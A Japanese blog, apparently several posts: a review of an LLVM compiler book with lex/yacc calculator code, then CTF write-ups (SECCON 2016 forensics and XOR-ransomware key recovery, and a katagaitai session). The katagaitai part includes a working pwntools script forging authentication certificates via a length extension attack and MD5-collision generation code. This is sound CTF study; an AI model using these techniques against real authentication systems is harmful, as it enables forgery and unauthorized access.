きつねさんでもわかるLLVM - kosen14s読書会

はじめに

この投稿はkosen14s読書会用の記事です。
Kosen14s読書会
kosen14s読書会では、何人かのメンバーが自由なジャンルの本を紹介します。前回はPractical Malware Analysisについて投稿しました。

きつねさんでもわかるLLVM

本記事で紹介する本は、柏木 餅子さんと風薬さんの著書「きつねさんでもわかるLLVM ~コンパイラを自作するためのガイドブック~」です。
きつねさんでもわかるLLVM ~コンパイラを自作するためのガイドブック~
表紙とタイトルを見て、「これならコンパイラが作れそう！」と思った時期もありました......
というのも、やはり内容は難しかったです。そして私はまだ完全に理解してません。そのため今回は、電卓を例にとってプログラミング言語がどのように表現されるかについて、かいつまんで説明します。ただ、あまり細かいところを理解していないのでところどころ説明に間違いがあるかもしれません。

電卓を作ってみる

こんな記事に辿り着く人はコンパイラを使ったことがある人がほとんどだと思います。コンパイラは入力されたソースコードを解析し、中間言語を生成したり実行ファイルを生成したり、とにかく人間が読めるコードを機械が解釈できるコードに変換するツールです。本書で使用するLLVMでは、ソースコードをレキシカルアナライザと呼ばれるプロセッサでトークンと呼ばれる意味を持った単語に分割されます。例えば次のような入力ソースコードがあったとします。
「4 / 3 * 3.14 * 10 ** 2」
レキシカルアナライザはこれを次のように分割します。
「4」「/」「*」「3.14」「*」「10」「**」「2」
そして、lex/yaccという言語(?)を使うと自分がどんな言語を作りたいかを規定するだけでこのトークン分割を自動でやってくれるのです。電卓程度ならこれを規定するのが非常に簡単です。例えば足し算「+」を定義したければ次のように書きます。
"+" {
    return OPERATOR_ADD;
}



OPERATOR_ADDなども別ファイルで自分で定義するので、四則演算だけでなく、複雑な演算やオリジナルの演算子を簡単に定義できてしまうのです。また、演算子以外にも「整数とは何か」や「小数とは何か」も定義する必要があります。例えば小数は次のように定義されます。
[0-9] *\.[0-9]* {
    double temp_box;
    sscanf(yytext, "%lf", &temp_box);
    yylval.double_value = temp_box;
    return DOUBLE_LITERAL;
}



先程の足し算より長くなりましたが、これは計算時に具体的な数字を参照するためにyytextなどを設定する必要があるからです。詳しくはぜひ本を読んでみてください。


このように「足し算とは」「整数とは」「文字列とは」「変数とは」「関数とは」などなど、トークンについて全て定義します。次にこれらトークンを解釈するのがパーサと呼ばれるプロセッサです。例えば「1+2*3」を計算するとき、人間は掛け算を優先します。また、「*は乗算である」だけでなく、「乗算とは何か」という具体的な処理を解釈するのがこのパーサyaccです。さらに、パーサはコンパイルエラーを出す必要があります。例えば「1+2*3*」という計算式はエラーとなります。ではエラーでない乗算とは何かというと、「A*B」のように「*」の両側に数字が付いていることです。数字というより、最終的に数字になる式がAやBにあたります。例えば「(1+2)*(3*4+1)」の場合、(1+2)と(3*4+1)をそれぞれA,Bとして認識させる必要があります。そういった表現の定義はBNFという記法で書かれます。先の例でAやBをtermとして定義します。（もちろんこれも自分で定義するのでtermじゃなくてhogeとかでもいいです。）
term
: primary_expression
| term OPERATOR_MUL primary_expression
{
    $$ = $1 * $3;
}
| term OPERATOR_DIV primary_expression
{
    $$ = $1 / $3;
}
;
一行目は「termとは何か」の定義開始です。二行目は「termとはprimary_expressionである」という意味です。ちなみにprimary_expressionは後で定義する「値」を表すものです。ここまでで「式termとは値primary_expressionである」と定義されました。三行目は「もしくはterm * primary_expressionである」という意味です。OPERATOR_MULは前にレキシカルアナライザのところで定義しました。ここで注目したいのが、termの定義にtermが入っているということです。これだとずっと自分自身を参照しそうですが、一行目の「termとはprimary_expressionである」があることにより、いつかはprimary_expressionに移るのです。「term * primary_expression」を宣言しましたが、これが返す具体的な値を各必要があります。これが四行目から六行目の括弧内にある「$$ = $1 * $3;」で、「返す値 = term * primary_expression」という意味です。$1とか$3は今解析しているトークンから何番目のトークンであるかを示します。同様にして除算も定義しました。加算や減算は優先順位が低いのでexpressionとして定義します。（最後に全体のコードを示します。）
さて、 「termとはprimary_expressionである」と定義したので、今度はprimary_expressionも定義します。これはただの値（今回は小数のみ）なので、次のようにかけます。
primary_expression
: DOUBLE_LITERAL
;
ここで始めてその項の評価が終わります。（ツリーの葉に到達する。）
詳しく知りたい方は是非本を読んでみることをおすすめしますが、今回の電卓の全体像を載せておきます。

	/*
	%{ ...%}で囲まれた行はC言語そのままとして解釈されます。
	したがって、%{ ... %}内は解析時にスキップされ、
	コンパイル時にコンパイラが読むだけです。
	*/
	%{
	/* stdio.hはキーボードからの入力に必要です。 */
	#include <stdio.h>
	/* "y.tab.h"はyaccコマンド実行時に出力されます。 */
	#include "y.tab.h"
	/* 必要な関数だけど使わないので空 */
	int yywrap(void) { return 1; }
	%}
	/*
	%% ... %%で囲まれた行はlexに解析されます。
	ここには自分の作りたいプログラム言語の規則を書きます。
	*/
	%%
	/**** 次のようにyaccでは「演算子」を定義します。
	「足し算」とは...
	"+" : "+"である
	詳細な計算方法はcalc.yで定義します。
	*/
	"+" {
	/* ここには上の定義のもと「足し算」と判断された場合の処理を書きます */
	return OPERATOR_ADD;
	}
	"-" {
	return OPERATOR_SUB;
	}
	/* returnだけの場合、次のように{}を省略できます。 */
	"*" return OPERATOR_MUL;
	"/" return OPERATOR_DIV;
	"\n" return EOL;
	/**** 次のようにyaccでは「整数とは」を定義する必要があります。
	整数とは...
	[1~9] --> 文字の1~9が最初にある
	[0-9]* --> 文字の0~9が続く('*'が繰り返しを意味する)
	*/
	[1-9][0-9]* {
	/*** ここには上の定義のもと「整数」と判断された場合の処理を書きます。 */
	double temp_box;
	/* 今回は実数しか使わないので実数として読み込みます */
	/* 現在の文字(yytext)を整数(%d)としてtemp_boxに入力します。 */
	sscanf(yytext, "%lf", &temp_box);
	/* 現在のint_valueは上で取得した整数です。 */
	yylval.double_value = temp_box;
	return DOUBLE_LITERAL;
	}
	/* 上の定義だと0が整数にならないので定義します。 */
	"0" {
	yylval.double_value = 0.0; // "0"は0.0
	return DOUBLE_LITERAL;
	}
	/**** 実数とは...
	[0-9]* --> 文字の0~9が続く
	\. --> 文字の"."がある('.'は正規表現で意味を持つので'\.'と書きます)
	[0-9]* --> 文字の0~9が続く
	*/
	[0-9]*\.[0-9]* {
	/*** ここには上の定義のもと「実数」と判断された場合の処理を書きます。 */
	double temp_box;
	/* 現在の文字(yytext)を実数(%lf)としてtemp_boxに入力します。 */
	sscanf(yytext, "%lf", &temp_box);
	/* 現在のdouble_valueは上で取得した実数です。 */
	yylval.double_value = temp_box;
	return DOUBLE_LITERAL;
	}
	/*
	DOUBLE_LITERALやOPERATOR_ADDなどの定数は
	calc.yの方で定義するので、それと同じ名前であれば
	何でも構いません。
	yytextやyylvalもcalc.yの方で定義します。
	yylval内のdouble_valueなどもcalc.yで定義します。
	*/
	%%

view raw calc.l hosted with ❤ by GitHub

	/*
	%{ ...%}で囲まれた行はC言語そのままとして解釈されます。
	したがって、%{ ... %}内は解析時にスキップされ、
	コンパイル時にコンパイラが読むだけです。
	*/
	%{
	#include <stdio.h>
	#include <stdlib.h>
	%}
	// 現在解析中の具体的な値が入ります
	%union {
	// プログラミング言語などでは型がたくさんあるので
	// 構造体などをここに入れますが、
	// 今回は実数しか使わないようにしました。
	double double_value;
	}
	%token <int_value> INT_LITERAL // 例えばcalc.lで整数と判定されたら、
	%token <double_value> DOUBLE_LITERAL // INT_LITERALを受け取ることになります。
	%token OPERATOR_ADD // 演算子にも名前を付けておきます。
	OPERATOR_SUB // これらもcalc.lで使う用なので、
	OPERATOR_MUL // ここでは宣言だけをしておきます。
	OPERATOR_DIV
	EOL // 行の終端すら定義します
	//
	// %type <int_value>
	%type <double_value> expression term primary_expression
	/*
	%% ... %%で囲まれた行はlexに解析されます。
	ここには自分の作りたいプログラム言語の規則を書きます。
	*/
	%%
	//// 次のようにyaccでは「ソースコードとは」すら定義する必要があります
	// 「ソースコード」とは...
	// line --> 1行
	// | --> または
	// source_code line --> 「ソースコード」「1行」で構成される
	source_code
	: line
	| source_code line
	;
	//// 次のようにyaccでは「行とは」すら定義する必要があります
	// 「行」とは...
	// expression --> 何かしらの式がある
	// EOL --> 改行文字がある
	line
	: expression EOL
	{
	//// ここには「行である」であると判定された際の処理を書きます。
	// 行判定されたら解析結果($1)を出力します。
	printf(">> %lf\n", $1);
	}
	;
	//// 上で使った「何かしらの式」(expression)を定義します
	// 「何かしらの式」(expression)とは...
	// term --> 項である
	// | --> または
	// expression OPERATOR_ADD term --> 「何かしらの式」 + 項 である
	// | --> または
	// expression OPERATOR_SUB term --> 「何かしらの式」 - 項 である
	expression
	: term
	| expression OPERATOR_ADD term
	{
	//// ここには入力文字が「expression + term」であると判定された際の処理を書きます。
	// $1 : expression
	// $2 : OPERATOR_ADD
	// $3 : term
	// 結果 = expression + term
	$$ = $1 + $3;
	}
	| expression OPERATOR_SUB term
	{
	$$ = $1 - $3;
	}
	;
	//// もちろん「項」も定義します。
	// 「項」(term)とは...
	// primary_expression --> 「1つの項」である
	// | --> または
	// term OPERATOR_MUL primary_expression --> 「項」 * 「1つの項」である
	// | --> または
	// term OPERATOR_DIV primary_expression --> 「項」 / 「1つの項」である
	term
	: primary_expression
	| term OPERATOR_MUL primary_expression
	{
	$$ = $1 * $3;
	}
	| term OPERATOR_DIV primary_expression
	{
	$$ = $1 / $3;
	}
	;
	// 「1つの項」(primary_expression)とは...
	// DOUBLE_LITERAL --> 実数である
	primary_expression
	: DOUBLE_LITERAL
	;
	%%
	/*
	ここにコンパイルエラー発生時の処理を書きます。
	*/
	int yyerror(char const* str)
	{
	extern char *yytext;
	fprintf(stderr, "Error near %s\n", yytext);
	return 0;
	}
	/*
	ここにコンパイラを書きます。
	今回は電卓なので、標準入力から文字を受け取って計算結果を出力します。
	*/
	int main(void)
	{
	// yaccが勝手に解析してくれる関数
	extern int yyparse(void);
	// コンパイルすべきファイル
	extern FILE *yyin;
	// 今回はファイルではなくstdinからの入力
	yyin = stdin;
	if (yyparse()) {
	// エラー発生
	fprintf(stderr, "ERROR!\n");
	exit(1);
	}
	return 0;
	}

view raw calc.y hosted with ❤ by GitHub

	# calc.binを出力するコマンド
	calc.bin: y.tab.c lex.yy.c # 下のコマンドに必要なファイル
	cc -o calc.bin y.tab.c lex.yy.c
	# y.tab.cを出力するコマンド
	y.tab.c: calc.y # 下のコマンドに必要なファイル
	yacc -dv calc.y
	# lex.yy.cを出力するコマンド
	lex.yy.c: calc.l # 下のコマンドに必要なファイル
	lex calc.l
	# ゴミを削除
	clean:
	rm y.output y.tab.c y.tab.h
	rm lex.yy.c

view raw Makefile hosted with ❤ by GitHub

実行するとこんな感じで計算できます。

ついでに括弧付き計算や累乗にも対応したバージョンです。

	%{
	#include <stdio.h>
	#include "y.tab.h"
	int yywrap(void) { return 1; }
	%}
	%%
	"+" return OPERATOR_ADD;
	"-" return OPERATOR_SUB;
	"*" return OPERATOR_MUL;
	"/" return OPERATOR_DIV;
	"^" return OPERATOR_POW;
	[1-9][0-9]* {
	double temp_box;
	sscanf(yytext, "%lf", &temp_box);
	yylval.double_value = temp_box;
	return DOUBLE_LITERAL;
	}
	"0" {
	yylval.double_value = 0.0;
	return DOUBLE_LITERAL;
	}
	[0-9]*\.[0-9]* {
	double temp_box;
	sscanf(yytext, "%lf", &temp_box);
	yylval.double_value = temp_box;
	return DOUBLE_LITERAL;
	}
	[ \t] ; // [追加]タブや空白は無視
	"\n" return EOL;
	%%

view raw calc.l hosted with ❤ by GitHub

	%{
	#include <stdio.h>
	#include <stdlib.h>
	%}
	%union {
	double double_value;
	}
	%token <int_value> INT_LITERAL
	%token <double_value> DOUBLE_LITERAL
	%token OPERATOR_ADD
	OPERATOR_SUB
	OPERATOR_MUL
	OPERATOR_DIV
	OPERATOR_POW // [追加]累乗
	EOL
	%type <double_value> expression
	expression_addsub
	expression_muldiv
	expression_power
	expression_term
	%%
	source_code
	: line
	| source_code line
	;
	line
	: expression EOL
	{
	printf(">> %lf\n", $1);
	}
	;
	/* [変更]
	expressionやらtermやらややこしいので、
	expression_演算子
	に変更。
	優先順位が高いほどexpression_termに近く、
	優先順位が同じものは同じexpressionに記述する。
	*/
	expression
	: expression_addsub
	;
	expression_addsub
	: expression_muldiv
	| expression_addsub OPERATOR_ADD expression_muldiv
	{
	$$ = $1 + $3;
	}
	| expression_addsub OPERATOR_SUB expression_muldiv
	{
	$$ = $1 - $3;
	}
	;
	expression_muldiv
	: expression_power
	| expression_muldiv OPERATOR_MUL expression_power
	{
	$$ = $1 * $3;
	}
	| expression_muldiv OPERATOR_DIV expression_power
	{
	$$ = $1 / $3;
	}
	;
	expression_power
	: expression_term
	| expression_power OPERATOR_POW expression_term
	{
	int i;
	double ret;
	// 累乗とは
	for(i = 0, ret = 1.0; i < (int)$3; i++) {
	ret *= $1;
	}
	$$ = ret;
	}
	;
	expression_term
	: DOUBLE_LITERAL
	;
	%%
	int yyerror(char const* str)
	{
	extern char *yytext;
	fprintf(stderr, "Error near %s\n", yytext);
	return 0;
	}
	int main(void)
	{
	// yaccが勝手に解析してくれる関数
	extern int yyparse(void);
	// コンパイルすべきファイル
	extern FILE *yyin;
	// 今回はファイルではなくstdinからの入力
	yyin = stdin;
	if (yyparse()) {
	// エラー発生
	fprintf(stderr, "ERROR!\n");
	exit(1);
	}
	return 0;
	}

view raw calc.y hosted with ❤ by GitHub

実行するとこんな感じで計算できます。

さいごに

数年前にもこの本を手に取ったのですが、当時は何一つ分からずに放置していました。しばらくして読んでみると内容が全然違うとうに思えて面白いですね。まだまともな変数も実装できないですが、ちょっとずつ勉強して、いつかまともな言語を作れたらと思います。

SECCON 2016 Online予選に参加しました

結果

既に本選参加権は持っていたので、今回はいつものメンバーと分断して気楽にチームdogeとして参加しました。得点は700点で順位は125位でした。オンライン予選は初参加ですが、予想以上に難しかったです。今回は自分が解いた「VoIP」「Memory Analysis」「Anti-Debugging」「randomware」について軽くWriteupを書きます。

VoIP

タイトル通りVoIPを使用した電話のパケットを記録したデータを解析する問題です。Wiresharkにはこれを解析する機能が備わっているので、それで通話内容を再生できます。（LinuxのWiresharkでは再生機能がありませんでした。）あとは喋っているフラグを聞けばいいのですが、「V」を「B」と聞き間違えていたので結構時間がかかりました。気付くまでの間は次のMemory Analysisに取り組んでいました。
フラグ：FLAG{9001IVR}

Memory Analysis

これもタイトル通りで、Windowsのメモリダンプを解析する問題です。どれかというとForensicが得意分野なので何としても解かなければならない問題です。問題文は、「偽物のsvchost.exeが接続しようとしている宛先はどこですか」というものです。

$ volatility --file=forensic_100.raw imageinfo
[snip]
Suggested Profile(s) : WinXPSP2x86, WinXPSP3x86 (Instantiated with WinXPSP2x86)
[snip]

まぁ問題文から分かりますが、Windowsだそうです。とりあえずsvchost.exeについて調べる訳ですが、pstreeすると結構たくさんのsvchost.exeがありました。

$ volatility --file=forensic_100.raw --profile=WinXPSP2x86 pstree

上のコマンドの実行結果より、svchost.exeという名前のプロセスはPIDが1036,936,1088,848,1320,1776,1704の7個あります。次にこれらのプロセスのうち偽物を判別するために、dlllistを使用します。

 $ volatility --file=forensic_100.raw --profile=WinXPSP2x86 dlllist --pid=1036,936,1088,848,1320,1776,1704

すると、PIDが1776のsvchost.exeはパスが他と違って"C:\Windows\svchost.exe"である他、ロードされているDLLも他と大きく異なります。そこでこれをダンプして、stringsで接続先が見つからないかを試します。

$ volatility --file=forensic_100.raw --profile=WinXPSP2x86 procdump --pid=1776 -D ./
$ strings executable.1776.exe | grep http
C:\Program Files\Internet Explorer\iexplore.exe http://crattack.tistory.com/entry/Data-Science-import-pandas-as-pd

それらしいものが見つかりました。しかし、このサイトにはデータは存在しません。そこでhostsファイルを調べます。

$ volatility --file=forensic_100.raw --profile=WinXPSP2x86 filescan | grep hosts
0x000000000217b748      1      0 R--rw- \Device\HarddiskVolume1\WINDOWS\system32\drivers\etc\hosts
$ volatility --file=forensic_100.raw --profile=WinXPSP2x86 dumpfiles -Q 0x000000000217b748 --name -D ./
$ cat file.None.0x819a3008.hosts.dat
[snip]
153.127.200.178    crattack.tistory.com

実際の接続先が153.127.200.178であることが判明したので、こちらの方にアクセスします。ファイルをダウンロードすると中にフラグが書いてあります。
フラグ：SECCON{_h3110_w3_h4ve_fun_w4rg4m3_}

Anti-Debugging

アンチデバッグ系にはそこそこ慣れていたので簡単でした。ひたすらアンチデバッグ技術が登場するので、それらを掻い潜るとフラグを表示してくれます。普通に実行したらダメなの？と思いましたがVMware上にしかWindowsを持っておらず、VMware検知もあったのでデバッガで回避することに。OllyDbgやらIDAやらをいろんな方法で検知してきますが、ひたすらZFを変更し続けるとスキップできます。最後に0除算(?)で例外を発生させているので注意。（フラグは忘れました。）

randomware

これもフォレンジックなので個人的に解きたかった問題です。開始18時間くらいでうっかり寝ていて、起きたらスッキリして解けました。これはQEMUのディスクイメージが渡されるのですが、とりあえずrawに変換してFTKで中身を見ました。いろいろ見ていると「h1dd3n_s3cr3t_f14g.jpg」と「getflag」というファイルがあったのでここから着手することに。h1dd3n_s3cr3t_f14g.jpgの方はバイナリはJPEGのものとは大きく異なり、0から0xFFでXORしてみるも全てfileコマンドではdataとなりました。getflagはLinux用の32bitバイナリで、IDA Proで解析しました。問題を解くのに必要な大体の流れば次のようになります。

1) /dev/urandomから0x400バイトを取得 --> encrypt_keyに格納
2) 再帰的に特定の条件にマッチするファイルを選ぶ
3) 2)のファイル全体を0x400バイトのencrypt_keyでXOR

ということで、明らかにXORされたっぽいファイルを探します。「h1dd3n_s3cr3t_f14g.jpg」以外に、「blocklist.xml」「revocations.txt」「user-extension-html.xml」などのファイルがXORされていました。問題は、いずれも平文が無いということです。元の文が無いと数学的に考えて解読できないじゃないか！と思っていましたが、例えばXMLの最初が「<?xml version...」みたいな文字で始まることを考えると最初の部分のencrypt_keyは取得できます。
次のポイントは、blocklist.xmlおよびrevocations.txtはfirefox等が作成するファイルで、作者が用意したものではないという点です。実際これらのファイル名で調べると、内容はサイトによってバラバラであるものの、「だいたいこういうことが書いてある」ということは分かります。また、user-extension-html.xmlについては結構最初の部分が固定されているので、これで100バイトくらいはencrypt_keyを求められることになります。
これだけencrypt_keyを求められたら、反対にblocklist.xmlおよびrevocations.txtの最初の100バイトくらいも復元できます。解いてるときはこの辺で時間かかったのですが、ここでは最終的に確立したやり方だけを説明します。
revocations.txtは内容がBase64です。また、ファイル全体をBase64エンコードしている訳ではなく、意味のあるブロックごとにエンコードしています。したがって、例えばencrypt_keyにより最初の数バイト「MMGExCzAJ」くらいさえ分かれば、ネット上に転がっているrevocations.txtから同じブロックを探して、続きを予測することができます。続きが分かるということは、反対にencrypt_keyの分からなかった部分が徐々に分かっていくということです。この「blocklist.xml」<--encrypt_key-->「revocations.txt」のやりとりを繰り返すことでencrypt_keyを0x400バイト全て求めることができました。
正攻法かは分かりません。
フラグ：SECCON{This is Virtual FAT too} (お肉の写真とともに)

まとめ

挑戦した中でも「checker」なんかは解き方が分かってたのにコードでミスしてて諦めてしまいました。（「動かない」＋「300pt」＝「自分が間違ってる」）他にも「こんなの解けたじゃん」みたいな問題が500pt分くらいはあったので、もったいないなぁという感じでした。何はともあれ楽しかったです。運営のみなさん、参加者のみなさん、お疲れ様でした！

katagaitaiCTF#5 関西medに参加しました

本日（08月28日）に大阪で開催されたkatagaitai CTF勉強会(med)に参加してきました。

内容は午前はCryptography, 午後はPwnでした。Cryptographyはハッシュ関数に関する攻撃をやりました。問題はhack you 2014のhashmeと、ebCTF 2013のmd5collidingを中心に勉強しました。どうも講師の方がこのwriteupを読む可能性があるようなので、今回はしっかり書こうと思います。ちなみに一番前の中央に座っていました。[ ^o^]
katagaitaiCTFの5周年おめでとうございます。

午前 - Cryptography

Length extension attackやハッシュ衝突系の問題は昔勉強したことがあったので、今回のCryptographyはあまり資料を見なくても解けました。

hashme

ユーザー名を登録すると、「login=[username]&role=anonymous」で登録されます。ログインする際にroleにadministratorが入っていればフラグが表示されます。しかし、ログインするには登録時に生成される認証コードが必要です。認証コードは
s = "login=[username]&role=anonymous"
base64( xor( s + hashme(SALT + s), KEY ) )
で生成されます。
ただし、SALTとKEYはサーバー側にあり、不明です。(ローカルで実行する際はSALT="HOGE", KEY="\x01\x02\x03\x04"にしました)
ここでhashmeという独自実装のハッシュ関数がありますが、md5のように32バイトのhexdigestを出力するハッシュ関数で、ハッシュでごちゃごちゃにした各4バイトのA, B, C, DをB, A, D, Cの順にくっつけて出力しています。

(1)KEYを取得
とりあえずKEYは単純なxorで使われており、入出力はどちらも取得できるので、まずKEYを計算します。方法として、認証コード(cert)をbase64デコードし、それと"login=[username]&role=anonymous"をxorすれば、KEYの最初の方から復号化できます。さらに、[username]の長さを長くすると、それだけKEYを長く復号化できます。xorではKEYを繰り返してxorしているので、同じパターンの繰り返しが出た時点でそこまでが実際のKEY値です。

(2)length extension attackを実行
本日まではhashpumpしか使えなかったのですが、今回の講義を通して原理が分かったので実装することができました。ハッシュ関数は、ある時点で(A, B, C, D)が計算され、それをもとに次の(A, B, C, D)を計算する、という動作を繰り返しています。したがって、最終的に出力された(A, B, C, D)を使って、次の(A, B, C, D)を計算することで、hashme(A)の結果だけからhashme(A+B)が作れるということです。ただし、(A, B, C, D)の計算内には現在のバイトインデックスも含まれるので、Aの長さも必要です。今回の場合、 s = "login=[username]&role=anonymous"のときのhashme(SALT + s)が取得できるので、それをもとにhashme(SALT + s + "&role=administrator")を作ります。
しかし、SALTの長さは分からないので、ここは1から順番に仮定して、成功するまで繰り返します。

これらを実装したpython2のコードを載せます。ただし、pwntoolsというライブラリを使用しています。

	# coding: utf-8
	from pwn import *
	#
	# crypto200.pyからそのまま引用
	#
	from math import sin
	from urlparse import parse_qs
	from base64 import b64encode
	from base64 import b64decode
	from re import match
	def xor(a, b):
	return ''.join(map(lambda x : chr(ord(x[0]) ^ ord(x[1])), zip(a, b * 100)))
	def F(X,Y,Z):
	return ((~X & Z) | (~X & Z)) & 0xFFFFFFFF
	def G(X,Y,Z):
	return ((X & Z) | (~Z & Y)) & 0xFFFFFFFF
	def H(X,Y,Z):
	return (X ^ Y ^ Y) & 0xFFFFFFFF
	def I(X,Y,Z):
	return (Y ^ (~Z | X)) & 0xFFFFFFFF
	def ROL(X,Y):
	return (X << Y | X >> (32 - Y)) & 0xFFFFFFFF
	#
	# 接続
	#
	#sock = remote('127.0.0.1', 9999)
	sock = remote('katagaitai.orz.hm', 7777)
	#
	# 適当なユーザーのcertを取得する
	#
	username = "A" * 128
	baseinfo = "login=%s&role=anonymous" % username
	sock.recvuntil('[1] Login\n======================\n')
	sock.sendline('0') # [0] Register
	sock.recvuntil('Your login: ')
	sock.sendline(username) # 適当なユーザー名で登録
	sock.recvuntil('Your auth certificate:\n')
	# certからxorされた"login=%s&role=anonymous"を取得
	cert_original = sock.recvline()
	cert_original = b64decode(cert_original)
	cert = cert_original[0:-32]
	#
	# KEYを取得する
	#
	KEY = xor(cert, baseinfo)
	for i in range(1, len(KEY)):
	if KEY[0:i] == KEY[i:2*i]: # 繰り返しを検出
	KEY = KEY[0:i]
	break
	print("[INFO] KEY found : %s" % KEY.encode('hex'))
	#
	# hashme(SALT + "login=[username]&role=anonymous" + "&role=administrator")
	# を計算する
	#
	cert_original = xor(cert_original, KEY)
	hash_original = cert_original[-32:]
	X = [int(0xFFFFFFFF * sin(i)) & 0xFFFFFFFF for i in xrange(256)]
	s = "&role=administrator" # 追加する文字列
	# SALTの長さによってiが変わる
	for SALT_len in range(1, 32):
	print("[INFO] trying new length : %d" % SALT_len)
	# 元に戻す
	B = int(hash_original[0:8], 16)
	A = int(hash_original[8:16], 16)
	D = int(hash_original[16:24], 16)
	C = int(hash_original[24:32], 16)
	for i,ch in enumerate(s):
	i = SALT_len + len(baseinfo) + i # 追加文字なのでiを更新
	k, l = ord(ch), i & 0x1f
	A = (B + ROL(A + F(B,C,D) + X[k], l)) & 0xFFFFFFFF
	B = (C + ROL(B + G(C,D,A) + X[k], l)) & 0xFFFFFFFF
	C = (D + ROL(C + H(D,A,B) + X[k], l)) & 0xFFFFFFFF
	D = (A + ROL(D + I(A,B,C) + X[k], l)) & 0xFFFFFFFF
	# hash_newができた
	hash_new = ''.join(map(lambda x : hex(x)[2:].strip('L').rjust(8, '0'), [B, A, D, C]))
	print("[INFO] new hash generated : %s" % hash_new)
	# hash_newからcert_newを作る
	cert_new = baseinfo + s + hash_new
	cert_new = b64encode(xor(cert_new, KEY))
	print("[INFO] new cert generated : %s" % cert_new)
	# 試してみる
	sock.recvuntil('[1] Login\n======================\n')
	sock.sendline('1') # [1] Login
	sock.recvuntil('Provide your certificate:')
	sock.sendline(cert_new)
	sock.recvline()
	ret = sock.recvline()
	print("[INFO] received : %s" % ret)
	# 成功したか
	if "[+] Welcome," in ret:
	print(sock.recv(4096))
	break
	sock.interactive()

view raw solve_hashme.py hosted with ❤ by GitHub

今まで完全に闇の世界だったlength extension attackの原理が理解できたときは、かなり感動しました。

md5colliding

これ系も実は昔やったことがあり、そのときfastcollを使ったのも覚えていますが、2つまでしか同じハッシュを持つファイルが作れないなぁと思っていてそのままでした。今回の講義で少しステップアップした使い方ができるようになったかな。
さて、この問題は、指定された5つの文字列をそれぞれ出力するようなexeファイルを5つ作る、という問題です。ただし、5つのファイルは全てmd5が同じである必要があり、sha1が異なる必要があります。
fastcollというツールを使うと、
$ fastcoll A -o B C
でA+paddingという内容で、異なるpadding、同じmd5ハッシュ値を持つBとCが出力されます。ここから3つ以上同じハッシュを持つファイルの作り方が分からなかったのですが、
$ fastcoll B -o D E
としてCとD(もしくはE)との差分(追加分)をCに付けたせば良いようです。(なぜなら、hashmeで言ったように、サイズさえ一致すれば、それより前のバイナリは後のハッシュ値に影響しないからです。)
次にexeが異なる出力を持つ必要があるのですが、argv[0][0]などハッシュ値に影響しない部分を利用すれば良いようです。(もしファイル名が自動で割り当てられる場合はどんな方法がベストかな...？) とにかく今回はargv[0]で1から5までの出力を振り分けるのですが、Windows起動が面倒だったのでx86用のelfでやりました。
実行ファイル用のコードは次のようにしました。(linuxでは"./main"のように実行するのでargv[0][0]ではなくargv[0][2]を判定に使っています。) 実行ファイル用のCコードと、衝突生成用のpython2のコードを載せておきます。

	/* for x86 linux */
	#include <stdio.h>
	int main(int argc, char** argv)
	{
	char c = argv[0][2];
	if (c == '1') {
	puts("All Eindbazen are wearing wooden shoes");
	} else if (c == '2') {
	puts("All Eindbazen live in a windmill");
	} else if (c == '3') {
	puts("All Eindbazen grow their own tulips");
	} else if (c == '4') {
	puts("All Eindbazen smoke weed all day");
	} else if (c == '5') {
	puts("All Eindbazen are cheap bastards");
	}
	return 0;
	}

view raw elf_md5colliding.c hosted with ❤ by GitHub

	# coding: utf-8
	from os import system, execv
	# +-- step4.2 [*]
	# |
	# +-- step3.2 +-- step4.1 [*]
	# | |
	# +-- step2.2 +-- step3.1 <-----+ [*]
	# | |
	# +-- step1.2 +-- step2.1 <-----------------+ [*]
	# | |
	# main +-- step1.1 <-----------------------------+ [*]
	#
	N = 5 # 生成個数
	base = "main" # 最初のファイル名
	# 生成していく
	for i in range(1, N):
	system("./fastcoll {0} -o step{1}.1 step{1}.2".format(base, i))
	base = "step{0}.2".format(i)
	# 各stepとstepN.1との差分を埋める
	new = open("step{0}.1".format(N-1), "rb").read()
	for i in range(1, N - 1):
	old = open("step{0}.1".format(i), "rb").read()
	old += new[len(old):]
	open("step{0}.1".format(i), "wb").write(old)
	# gomiを消す
	for i in range(1, N - 1):
	system("rm ./step{0}.2".format(i))
	# 改名する
	for i in range(1, N):
	system("mv ./step{0}.1 ./{0}.bin".format(i))
	system("chmod +x ./{0}.bin".format(i))
	system("mv ./step{0}.2 ./{1}.bin".format(N-1, N))
	system("chmod +x ./{0}.bin".format(N))

view raw fastcollSolve_md5colliding.py hosted with ❤ by GitHub

同じmd5ハッシュ、異なるsha1ハッシュが出力され、出力内容も指定通りでした。コードは5個に限らず自由な個数だけ衝突ファイルを生成できるように工夫しています。

parlor

この問題はそもそも問題文を理解しておらず、時間内には解けませんでしたが、家でやったのでwriteupしておきます。
入力に対して条件を通過すれば賭け金だけ増え、失敗すれば賭け金が消えるゲームです。条件というのが
md5(hoge + input) % odds == 0
であることです。ちなみに問題文ではもうちょっと分りにくかったです。また、この「+」は文字列の結合で、hogeは16進数形式のダイジェストなのですが、バイナリとして結合されます。ここで数値加算してみたり文字列そのまま結合してみたりして時間取られました。さらに、inputには改行コードが最後に付いてくるっぽいのでそこにも注意。
この問題でユーザーが指定できるのはlog_2(odds)の整数とinputのバイナリです。hogeはランダムでサーバー側に保存されています。oddsの指数は100まで指定できるので、最大で2**100まで設定可能です。一回成功すればそれを繰り返せば良さそうなのですが、一度送ったinputは二度と送れません。

(1)md5(hoge + x)を知りたい
md5(hoge + x)が求まれば、md5(hoge + x + y)も求まります。しかし、md5(hoge + x)は最大でも下位100bitまでしか残りません。ということでbrute force attackで残りの28bitを探すことにしました。
...と書きながらコードを書いて実行したらあまりの重さにパソコンが止まったので今日はここまで。

午後 - Pwn

なんか凄いことやってるなぁって感じでした。
1つ1つのプロセスで何やってるのかは分かりましたし、資料にソースコードや構造体、サンドボックスの命令などが書かれていたので良かったものの、実際にソースコードも無い状態であれを解けと言われたら確実に捨てます。

tp

最後まで分からなかったこと（自分の書いた攻撃コードに関する疑問）：

• fastbinsに繋がったりbinsに繋がったり。その辺の設計もうろ覚えでした。 
• 0x1337という数が分かりませんでした。idなら10とか20とかでもいいはず？
• shellstormのshellcodeが動きませんでしたが、あれはseccompが原因だったのかな？
• どうやってあんなに長いアセンブリを読む気になれるのか。

でも、やっぱりヒープ苦手だなと実感しました。もっと勉強してきます。

(2)習得したこと：

• malloc, seccompなどの設計が少し分かりました。
• main_arena以外にthread_arenaなるものがあるとは......
• gdbでアタッチしたりダンプしたりするのが便利でした。
• DynamicROP(?)の復習になりました。

